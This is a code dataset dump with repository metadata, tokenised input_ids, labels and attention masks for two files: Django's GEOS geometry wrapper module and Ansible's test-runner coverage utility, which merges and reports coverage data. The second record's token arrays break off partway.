repo_name
stringlengths 6
100
| path
stringlengths 4
294
| copies
stringclasses 981
values | size
stringlengths 4
6
| content
stringlengths 606
896k
| license
stringclasses 15
values | input_ids
listlengths 1.02k
1.02k
| labels
listlengths 1.02k
1.02k
| attention_mask
listlengths 1.02k
1.02k
|
|---|---|---|---|---|---|---|---|---|
jamslevy/gsoc
|
app/django/contrib/gis/geos/__init__.py
|
8
|
2734
|
"""
The goal of this module is to be a ctypes wrapper around the GEOS library
that will work on both *NIX and Windows systems. Specifically, this uses
the GEOS C api.
I have several motivations for doing this:
(1) The GEOS SWIG wrapper is no longer maintained, and requires the
installation of SWIG.
(2) The PCL implementation is over 2K+ lines of C and would make
PCL a requisite package for the GeoDjango application stack.
(3) Windows and Mac compatibility becomes substantially easier, and does not
require the additional compilation of PCL or GEOS and SWIG -- all that
is needed is a Win32 or Mac compiled GEOS C library (dll or dylib)
in a location that Python can read (e.g. 'C:\Python25').
In summary, I wanted to wrap GEOS in a more maintainable and portable way using
only Python and the excellent ctypes library (now standard in Python 2.5).
In the spirit of loose coupling, this library does not require Django or
GeoDjango. Only the GEOS C library and ctypes are needed for the platform
of your choice.
For more information about GEOS:
http://geos.refractions.net
For more info about PCL and the discontinuation of the Python GEOS
library see Sean Gillies' writeup (and subsequent update) at:
http://zcologia.com/news/150/geometries-for-python/
http://zcologia.com/news/429/geometries-for-python-update/
"""
from django.contrib.gis.geos.base import GEOSGeometry, wkt_regex, hex_regex
from django.contrib.gis.geos.geometries import Point, LineString, LinearRing, Polygon, HAS_NUMPY
from django.contrib.gis.geos.collections import GeometryCollection, MultiPoint, MultiLineString, MultiPolygon
from django.contrib.gis.geos.error import GEOSException, GEOSIndexError
from django.contrib.gis.geos.libgeos import geos_version, geos_version_info
def fromfile(file_name):
"""
Given a string file name, returns a GEOSGeometry. The file may contain WKB,
WKT, or HEX.
"""
fh = open(file_name, 'rb')
buf = fh.read()
fh.close()
if wkt_regex.match(buf) or hex_regex.match(buf):
return GEOSGeometry(buf)
else:
return GEOSGeometry(buffer(buf))
def fromstr(wkt_or_hex, **kwargs):
"Given a string value (wkt or hex), returns a GEOSGeometry object."
return GEOSGeometry(wkt_or_hex, **kwargs)
def hex_to_wkt(hex):
"Converts HEXEWKB into WKT."
return GEOSGeometry(hex).wkt
def wkt_to_hex(wkt):
"Converts WKT into HEXEWKB."
return GEOSGeometry(wkt).hex
def centroid(input):
"Returns the centroid of the geometry (given in HEXEWKB)."
return GEOSGeometry(input).centroid.wkt
def area(input):
"Returns the area of the geometry (given in HEXEWKB)."
return GEOSGeometry(input).area
|
apache-2.0
|
[
624,
199,
710,
14850,
402,
642,
859,
365,
370,
506,
282,
5577,
4975,
6818,
314,
11920,
3555,
199,
626,
911,
1736,
641,
3865,
627,
46,
3867,
436,
5417,
10460,
14,
221,
30836,
12,
642,
4440,
199,
314,
11920,
445,
2986,
14,
421,
473,
1172,
9978,
1303,
280,
20187,
367,
9689,
642,
26,
523,
334,
17,
9,
710,
11920,
26480,
4975,
365,
949,
8088,
26391,
12,
436,
5074,
314,
489,
12096,
402,
26480,
14,
523,
334,
18,
9,
710,
510,
1981,
4514,
365,
1806,
499,
43,
11,
2385,
402,
445,
436,
3955,
1852,
489,
510,
1981,
282,
295,
783,
2124,
2559,
367,
314,
8875,
9323,
4223,
3464,
14,
523,
334,
19,
9,
5417,
436,
10444,
7163,
15410,
27321,
4466,
1183,
14905,
12,
436,
1630,
440,
489,
4409,
314,
4722,
18653,
402,
510,
1981,
503,
11920,
436,
26480,
1553,
1006,
626,
489,
365,
4346,
365,
282,
13036,
708,
503,
10444,
10311,
11920,
445,
3555,
334,
9259,
503,
13119,
773,
9,
489,
315,
282,
2909,
626,
2018,
883,
1586,
334,
69,
14,
71,
14,
283,
35,
3427,
4718,
821,
1959,
421,
1010,
6212,
12,
473,
13632,
370,
4816,
11920,
315,
282,
1655,
11075,
461,
436,
1844,
461,
4340,
1808,
199,
1454,
2018,
436,
314,
444,
6067,
12518,
5577,
3555,
334,
2131,
4465,
315,
2018,
499,
14,
21,
680,
421,
1010,
314,
19441,
11133,
402,
560,
3362,
512,
384,
2983,
12,
642,
3555,
1630,
440,
4409,
5634,
503,
199,
8875,
9323,
14,
221,
5972,
314,
11920,
445,
3555,
436,
5577,
787,
4346,
367,
314,
4298,
199,
402,
2195,
7141,
14,
421,
2104,
1655,
2556,
3595,
11920,
26,
523,
1455,
921,
12151,
14,
1121,
345,
2452,
14,
846,
2043,
199,
2104,
1655,
2256,
3595,
510,
1981,
436,
314,
2153,
20305,
402,
314,
2018,
11920,
199,
3555,
1937,
3240,
290,
598,
382,
6528,
7,
2218,
384,
334,
460,
13372,
1678,
9,
737,
26,
523,
1455,
921,
90,
331,
793,
4674,
14,
957,
15,
13224,
15,
8251,
15,
21626,
13,
509,
13,
1548,
15,
523,
1455,
921,
90,
331,
793,
4674,
14,
957,
15,
13224,
15,
14372,
15,
21626,
13,
509,
13,
1548,
13,
873,
15,
199,
624,
199,
504,
1639,
14,
2828,
14,
5668,
14,
12151,
14,
1095,
492,
21479,
12,
21992,
63,
3821,
12,
6318,
63,
3821,
199,
504,
1639,
14,
2828,
14,
5668,
14,
12151,
14,
21626,
492,
7584,
12,
30020,
12,
12489,
15420,
12,
17560,
12,
7509,
63,
1440,
1658,
57,
199,
504,
1639,
14,
2828,
14,
5668,
14,
12151,
14,
7882,
492,
10579,
7768,
12,
6879,
3428,
12,
6879,
22134,
12,
6879,
12367,
199,
504,
1639,
14,
2828,
14,
5668,
14,
12151,
14,
705,
492,
21390,
21686,
12,
11920,
12129,
199,
504,
1639,
14,
2828,
14,
5668,
14,
12151,
14,
773,
12151,
492,
30259,
63,
1023,
12,
30259,
63,
1023,
63,
815,
199,
199,
318,
687,
493,
8,
493,
63,
354,
304,
272,
408,
272,
9138,
282,
1059,
570,
536,
12,
2529,
282,
21479,
14,
710,
570,
1443,
1395,
644,
12780,
12,
272,
22561,
12,
503,
29467,
14,
272,
408,
272,
11155,
275,
1551,
8,
493,
63,
354,
12,
283,
4848,
358,
272,
4123,
275,
11155,
14,
739,
342,
272,
11155,
14,
1600,
342,
272,
340,
21992,
63,
3821,
14,
1431,
8,
1436,
9,
503,
6318,
63,
3821,
14,
1431,
8,
1436,
304,
267,
372,
21479,
8,
1436,
9,
272,
587,
26,
267,
372,
21479,
8,
2738,
8,
1436,
430,
199,
199,
318,
23744,
8,
11412,
63,
269,
63,
4097,
12,
1011,
958,
304,
272,
298,
13735,
282,
1059,
574,
334,
11412,
503,
6318,
395,
2529,
282,
21479,
909,
2122,
272,
372,
21479,
8,
11412,
63,
269,
63,
4097,
12,
1011,
958,
9,
199,
199,
318,
6318,
63,
475,
63,
11412,
8,
4097,
304,
272,
298,
17729,
869,
23017,
28328,
1901,
22561,
2122,
272,
372,
21479,
8,
4097,
680,
11412,
199,
199,
318,
21992,
63,
475,
63,
4097,
8,
11412,
304,
272,
298,
17729,
22561,
1901,
869,
23017,
28328,
2122,
272,
372,
21479,
8,
11412,
680,
4097,
199,
199,
318,
27587,
8,
1210,
304,
272,
298,
3407,
314,
27587,
402,
314,
3400,
334,
11809,
315,
869,
23017,
28328,
17617,
272,
372,
21479,
8,
1210,
680,
22098,
14,
11412,
199,
199,
318,
9150,
8,
1210,
304,
272,
298,
3407,
314,
9150,
402,
314,
3400,
334,
11809,
315,
869,
23017,
28328,
17617,
272,
372,
21479,
8,
1210,
680,
6789,
16872,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
199,
710,
14850,
402,
642,
859,
365,
370,
506,
282,
5577,
4975,
6818,
314,
11920,
3555,
199,
626,
911,
1736,
641,
3865,
627,
46,
3867,
436,
5417,
10460,
14,
221,
30836,
12,
642,
4440,
199,
314,
11920,
445,
2986,
14,
421,
473,
1172,
9978,
1303,
280,
20187,
367,
9689,
642,
26,
523,
334,
17,
9,
710,
11920,
26480,
4975,
365,
949,
8088,
26391,
12,
436,
5074,
314,
489,
12096,
402,
26480,
14,
523,
334,
18,
9,
710,
510,
1981,
4514,
365,
1806,
499,
43,
11,
2385,
402,
445,
436,
3955,
1852,
489,
510,
1981,
282,
295,
783,
2124,
2559,
367,
314,
8875,
9323,
4223,
3464,
14,
523,
334,
19,
9,
5417,
436,
10444,
7163,
15410,
27321,
4466,
1183,
14905,
12,
436,
1630,
440,
489,
4409,
314,
4722,
18653,
402,
510,
1981,
503,
11920,
436,
26480,
1553,
1006,
626,
489,
365,
4346,
365,
282,
13036,
708,
503,
10444,
10311,
11920,
445,
3555,
334,
9259,
503,
13119,
773,
9,
489,
315,
282,
2909,
626,
2018,
883,
1586,
334,
69,
14,
71,
14,
283,
35,
3427,
4718,
821,
1959,
421,
1010,
6212,
12,
473,
13632,
370,
4816,
11920,
315,
282,
1655,
11075,
461,
436,
1844,
461,
4340,
1808,
199,
1454,
2018,
436,
314,
444,
6067,
12518,
5577,
3555,
334,
2131,
4465,
315,
2018,
499,
14,
21,
680,
421,
1010,
314,
19441,
11133,
402,
560,
3362,
512,
384,
2983,
12,
642,
3555,
1630,
440,
4409,
5634,
503,
199,
8875,
9323,
14,
221,
5972,
314,
11920,
445,
3555,
436,
5577,
787,
4346,
367,
314,
4298,
199,
402,
2195,
7141,
14,
421,
2104,
1655,
2556,
3595,
11920,
26,
523,
1455,
921,
12151,
14,
1121,
345,
2452,
14,
846,
2043,
199,
2104,
1655,
2256,
3595,
510,
1981,
436,
314,
2153,
20305,
402,
314,
2018,
11920,
199,
3555,
1937,
3240,
290,
598,
382,
6528,
7,
2218,
384,
334,
460,
13372,
1678,
9,
737,
26,
523,
1455,
921,
90,
331,
793,
4674,
14,
957,
15,
13224,
15,
8251,
15,
21626,
13,
509,
13,
1548,
15,
523,
1455,
921,
90,
331,
793,
4674,
14,
957,
15,
13224,
15,
14372,
15,
21626,
13,
509,
13,
1548,
13,
873,
15,
199,
624,
199,
504,
1639,
14,
2828,
14,
5668,
14,
12151,
14,
1095,
492,
21479,
12,
21992,
63,
3821,
12,
6318,
63,
3821,
199,
504,
1639,
14,
2828,
14,
5668,
14,
12151,
14,
21626,
492,
7584,
12,
30020,
12,
12489,
15420,
12,
17560,
12,
7509,
63,
1440,
1658,
57,
199,
504,
1639,
14,
2828,
14,
5668,
14,
12151,
14,
7882,
492,
10579,
7768,
12,
6879,
3428,
12,
6879,
22134,
12,
6879,
12367,
199,
504,
1639,
14,
2828,
14,
5668,
14,
12151,
14,
705,
492,
21390,
21686,
12,
11920,
12129,
199,
504,
1639,
14,
2828,
14,
5668,
14,
12151,
14,
773,
12151,
492,
30259,
63,
1023,
12,
30259,
63,
1023,
63,
815,
199,
199,
318,
687,
493,
8,
493,
63,
354,
304,
272,
408,
272,
9138,
282,
1059,
570,
536,
12,
2529,
282,
21479,
14,
710,
570,
1443,
1395,
644,
12780,
12,
272,
22561,
12,
503,
29467,
14,
272,
408,
272,
11155,
275,
1551,
8,
493,
63,
354,
12,
283,
4848,
358,
272,
4123,
275,
11155,
14,
739,
342,
272,
11155,
14,
1600,
342,
272,
340,
21992,
63,
3821,
14,
1431,
8,
1436,
9,
503,
6318,
63,
3821,
14,
1431,
8,
1436,
304,
267,
372,
21479,
8,
1436,
9,
272,
587,
26,
267,
372,
21479,
8,
2738,
8,
1436,
430,
199,
199,
318,
23744,
8,
11412,
63,
269,
63,
4097,
12,
1011,
958,
304,
272,
298,
13735,
282,
1059,
574,
334,
11412,
503,
6318,
395,
2529,
282,
21479,
909,
2122,
272,
372,
21479,
8,
11412,
63,
269,
63,
4097,
12,
1011,
958,
9,
199,
199,
318,
6318,
63,
475,
63,
11412,
8,
4097,
304,
272,
298,
17729,
869,
23017,
28328,
1901,
22561,
2122,
272,
372,
21479,
8,
4097,
680,
11412,
199,
199,
318,
21992,
63,
475,
63,
4097,
8,
11412,
304,
272,
298,
17729,
22561,
1901,
869,
23017,
28328,
2122,
272,
372,
21479,
8,
11412,
680,
4097,
199,
199,
318,
27587,
8,
1210,
304,
272,
298,
3407,
314,
27587,
402,
314,
3400,
334,
11809,
315,
869,
23017,
28328,
17617,
272,
372,
21479,
8,
1210,
680,
22098,
14,
11412,
199,
199,
318,
9150,
8,
1210,
304,
272,
298,
3407,
314,
9150,
402,
314,
3400,
334,
11809,
315,
869,
23017,
28328,
17617,
272,
372,
21479,
8,
1210,
680,
6789,
16872,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
Yannig/ansible
|
test/runner/lib/cover.py
|
44
|
7160
|
"""Code coverage utilities."""
from __future__ import absolute_import, print_function
import os
import re
from lib.target import (
walk_module_targets,
walk_compile_targets,
)
from lib.util import (
display,
ApplicationError,
run_command,
common_environment,
)
from lib.config import (
CoverageConfig,
CoverageReportConfig,
)
from lib.executor import (
Delegate,
install_command_requirements,
)
COVERAGE_DIR = 'test/results/coverage'
COVERAGE_FILE = os.path.join(COVERAGE_DIR, 'coverage')
COVERAGE_GROUPS = ('command', 'target', 'environment', 'version')
def command_coverage_combine(args):
"""Patch paths in coverage files and merge into a single file.
:type args: CoverageConfig
:rtype: list[str]
"""
coverage = initialize_coverage(args)
modules = dict((t.module, t.path) for t in list(walk_module_targets()))
coverage_files = [os.path.join(COVERAGE_DIR, f) for f in os.listdir(COVERAGE_DIR) if '=coverage.' in f]
ansible_path = os.path.abspath('lib/ansible/') + '/'
root_path = os.getcwd() + '/'
counter = 0
groups = {}
if args.all or args.stub:
sources = sorted(os.path.abspath(target.path) for target in walk_compile_targets())
else:
sources = []
if args.stub:
groups['=stub'] = dict((source, set()) for source in sources)
for coverage_file in coverage_files:
counter += 1
display.info('[%4d/%4d] %s' % (counter, len(coverage_files), coverage_file), verbosity=2)
original = coverage.CoverageData()
group = get_coverage_group(args, coverage_file)
if group is None:
display.warning('Unexpected name for coverage file: %s' % coverage_file)
continue
if os.path.getsize(coverage_file) == 0:
display.warning('Empty coverage file: %s' % coverage_file)
continue
try:
original.read_file(coverage_file)
except Exception as ex: # pylint: disable=locally-disabled, broad-except
display.error(str(ex))
continue
for filename in original.measured_files():
arcs = set(original.arcs(filename) or [])
if not arcs:
# This is most likely due to using an unsupported version of coverage.
display.warning('No arcs found for "%s" in coverage file: %s' % (filename, coverage_file))
continue
if '/ansible_modlib.zip/ansible/' in filename:
new_name = re.sub('^.*/ansible_modlib.zip/ansible/', ansible_path, filename)
display.info('%s -> %s' % (filename, new_name), verbosity=3)
filename = new_name
elif '/ansible_module_' in filename:
module_name = re.sub('^.*/ansible_module_(?P<module>.*).py$', '\\g<module>', filename)
if module_name not in modules:
display.warning('Skipping coverage of unknown module: %s' % module_name)
continue
new_name = os.path.abspath(modules[module_name])
display.info('%s -> %s' % (filename, new_name), verbosity=3)
filename = new_name
elif re.search('^(/.*?)?/root/ansible/', filename):
new_name = re.sub('^(/.*?)?/root/ansible/', root_path, filename)
display.info('%s -> %s' % (filename, new_name), verbosity=3)
filename = new_name
if group not in groups:
groups[group] = {}
arc_data = groups[group]
if filename not in arc_data:
arc_data[filename] = set()
arc_data[filename].update(arcs)
output_files = []
for group in sorted(groups):
arc_data = groups[group]
updated = coverage.CoverageData()
for filename in arc_data:
if not os.path.isfile(filename):
display.warning('Invalid coverage path: %s' % filename)
continue
updated.add_arcs({filename: list(arc_data[filename])})
if args.all:
updated.add_arcs(dict((source, []) for source in sources))
if not args.explain:
output_file = COVERAGE_FILE + group
updated.write_file(output_file)
output_files.append(output_file)
return sorted(output_files)
def command_coverage_report(args):
"""
:type args: CoverageReportConfig
"""
output_files = command_coverage_combine(args)
for output_file in output_files:
if args.group_by or args.stub:
display.info('>>> Coverage Group: %s' % ' '.join(os.path.basename(output_file).split('=')[1:]))
options = []
if args.show_missing:
options.append('--show-missing')
env = common_environment()
env.update(dict(COVERAGE_FILE=output_file))
run_command(args, env=env, cmd=['coverage', 'report'] + options)
def command_coverage_html(args):
"""
:type args: CoverageConfig
"""
output_files = command_coverage_combine(args)
for output_file in output_files:
dir_name = 'test/results/reports/%s' % os.path.basename(output_file)
env = common_environment()
env.update(dict(COVERAGE_FILE=output_file))
run_command(args, env=env, cmd=['coverage', 'html', '-i', '-d', dir_name])
def command_coverage_xml(args):
"""
:type args: CoverageConfig
"""
output_files = command_coverage_combine(args)
for output_file in output_files:
xml_name = 'test/results/reports/%s.xml' % os.path.basename(output_file)
env = common_environment()
env.update(dict(COVERAGE_FILE=output_file))
run_command(args, env=env, cmd=['coverage', 'xml', '-i', '-o', xml_name])
def command_coverage_erase(args):
"""
:type args: CoverageConfig
"""
initialize_coverage(args)
for name in os.listdir(COVERAGE_DIR):
if not name.startswith('coverage') and '=coverage.' not in name:
continue
path = os.path.join(COVERAGE_DIR, name)
if not args.explain:
os.remove(path)
def initialize_coverage(args):
"""
:type args: CoverageConfig
:rtype: coverage
"""
if args.delegate:
raise Delegate()
if args.requirements:
install_command_requirements(args)
try:
import coverage
except ImportError:
coverage = None
if not coverage:
raise ApplicationError('You must install the "coverage" python module to use this command.')
return coverage
def get_coverage_group(args, coverage_file):
"""
:type args: CoverageConfig
:type coverage_file: str
:rtype: str
"""
parts = os.path.basename(coverage_file).split('=', 4)
if len(parts) != 5 or not parts[4].startswith('coverage.'):
return None
names = dict(
command=parts[0],
target=parts[1],
environment=parts[2],
version=parts[3],
)
group = ''
for part in COVERAGE_GROUPS:
if part in args.group_by:
group += '=%s' % names[part]
return group
|
gpl-3.0
|
[
624,
3034,
11745,
15841,
1041,
199,
199,
504,
636,
2443,
363,
492,
3679,
63,
646,
12,
870,
63,
1593,
199,
199,
646,
747,
199,
646,
295,
199,
199,
504,
1973,
14,
1375,
492,
334,
272,
12778,
63,
578,
63,
4684,
12,
272,
12778,
63,
2014,
63,
4684,
12,
199,
9,
199,
199,
504,
1973,
14,
1974,
492,
334,
272,
2929,
12,
272,
13515,
547,
12,
272,
1255,
63,
1531,
12,
272,
2863,
63,
5418,
12,
199,
9,
199,
199,
504,
1973,
14,
888,
492,
334,
272,
1849,
3652,
2028,
12,
272,
1849,
3652,
7457,
2028,
12,
199,
9,
199,
199,
504,
1973,
14,
13471,
492,
334,
272,
12035,
3237,
12,
272,
3907,
63,
1531,
63,
7538,
12,
199,
9,
199,
199,
19052,
2962,
63,
3022,
275,
283,
396,
15,
2604,
15,
10828,
7,
199,
19052,
2962,
63,
3817,
275,
747,
14,
515,
14,
904,
8,
19052,
2962,
63,
3022,
12,
283,
10828,
358,
199,
19052,
2962,
63,
27544,
275,
661,
1531,
297,
283,
1375,
297,
283,
5418,
297,
283,
1023,
358,
421,
199,
318,
1414,
63,
10828,
63,
13307,
8,
589,
304,
272,
408,
11173,
3792,
315,
11745,
1584,
436,
5389,
1901,
282,
2849,
570,
14,
272,
520,
466,
1249,
26,
1849,
3652,
2028,
272,
520,
4500,
26,
769,
59,
495,
61,
272,
408,
272,
11745,
275,
8265,
63,
10828,
8,
589,
9,
339,
4621,
275,
1211,
1332,
84,
14,
578,
12,
307,
14,
515,
9,
367,
307,
315,
769,
8,
7757,
63,
578,
63,
4684,
4059,
339,
11745,
63,
1725,
275,
359,
736,
14,
515,
14,
904,
8,
19052,
2962,
63,
3022,
12,
289,
9,
367,
289,
315,
747,
14,
7374,
8,
19052,
2962,
63,
3022,
9,
340,
26143,
10828,
3530,
315,
289,
61,
339,
3242,
63,
515,
275,
747,
14,
515,
14,
4832,
360,
773,
15,
4853,
6217,
435,
7324,
272,
1738,
63,
515,
275,
747,
14,
9458,
342,
435,
7324,
339,
7055,
275,
378,
272,
4652,
275,
1052,
339,
340,
1249,
14,
452,
503,
1249,
14,
5811,
26,
267,
5274,
275,
3355,
8,
736,
14,
515,
14,
4832,
8,
1375,
14,
515,
9,
367,
1347,
315,
12778,
63,
2014,
63,
4684,
1012,
272,
587,
26,
267,
5274,
275,
942,
339,
340,
1249,
14,
5811,
26,
267,
4652,
459,
29,
5811,
418,
275,
1211,
1332,
1365,
12,
663,
1012,
367,
1350,
315,
5274,
9,
339,
367,
11745,
63,
493,
315,
11745,
63,
1725,
26,
267,
7055,
847,
413,
267,
2929,
14,
815,
360,
9722,
20,
68,
3149,
20,
68,
61,
450,
83,
7,
450,
334,
5337,
12,
822,
8,
10828,
63,
1725,
395,
11745,
63,
493,
395,
8661,
29,
18,
9,
398,
3379,
275,
11745,
14,
27444,
1451,
342,
398,
1572,
275,
664,
63,
10828,
63,
923,
8,
589,
12,
11745,
63,
493,
9,
398,
340,
1572,
365,
488,
26,
288,
2929,
14,
3764,
360,
8708,
536,
367,
11745,
570,
26,
450,
83,
7,
450,
11745,
63,
493,
9,
288,
1980,
398,
340,
747,
14,
515,
14,
20733,
8,
10828,
63,
493,
9,
508,
378,
26,
288,
2929,
14,
3764,
360,
4699,
11745,
570,
26,
450,
83,
7,
450,
11745,
63,
493,
9,
288,
1980,
398,
862,
26,
288,
3379,
14,
739,
63,
493,
8,
10828,
63,
493,
9,
267,
871,
2186,
465,
444,
26,
221,
327,
4287,
26,
3507,
29,
31294,
13,
7011,
12,
330,
5063,
13,
2590,
288,
2929,
14,
705,
8,
495,
8,
476,
430,
288,
1980,
398,
367,
1788,
315,
3379,
14,
19116,
3297,
63,
1725,
837,
288,
601,
1259,
275,
663,
8,
5043,
14,
20672,
8,
1501,
9,
503,
3073,
953,
340,
440,
601,
1259,
26,
355,
327,
961,
365,
4750,
12060,
7037,
370,
1808,
376,
16313,
1015,
402,
11745,
14,
355,
2929,
14,
3764,
360,
1944,
601,
1259,
1911,
367,
2071,
83,
2,
315,
11745,
570,
26,
450,
83,
7,
450,
334,
1501,
12,
11745,
63,
493,
430,
355,
1980,
953,
340,
1994,
4853,
63,
1494,
773,
14,
3065,
15,
4853,
4805,
315,
1788,
26,
355,
892,
63,
354,
275,
295,
14,
954,
9097,
2795,
15,
4853,
63,
1494,
773,
14,
3065,
15,
4853,
3678,
3242,
63,
515,
12,
1788,
9,
355,
2929,
14,
815,
3508,
83,
1035,
450,
83,
7,
450,
334,
1501,
12,
892,
63,
354,
395,
8661,
29,
19,
9,
355,
1788,
275,
892,
63,
354,
288,
916,
1994,
4853,
63,
578,
8650,
315,
1788,
26,
355,
859,
63,
354,
275,
295,
14,
954,
9097,
2795,
15,
4853,
63,
578,
63,
2229,
48,
28,
578,
23742,
680,
647,
4268,
6468,
71,
28,
578,
4206,
1788,
9,
355,
340,
859,
63,
354,
440,
315,
4621,
26,
490,
2929,
14,
3764,
360,
18297,
11745,
402,
5809,
859,
26,
450,
83,
7,
450,
859,
63,
354,
9,
490,
1980,
355,
892,
63,
354,
275,
747,
14,
515,
14,
4832,
8,
3112,
59,
578,
63,
354,
566,
355,
2929,
14,
815,
3508,
83,
1035,
450,
83,
7,
450,
334,
1501,
12,
892,
63,
354,
395,
8661,
29,
19,
9,
355,
1788,
275,
892,
63,
354,
288,
916,
295,
14,
1733,
9097,
29478,
6697,
5547,
15,
1231,
15,
4853,
3678,
1788,
304,
355,
892,
63,
354,
275,
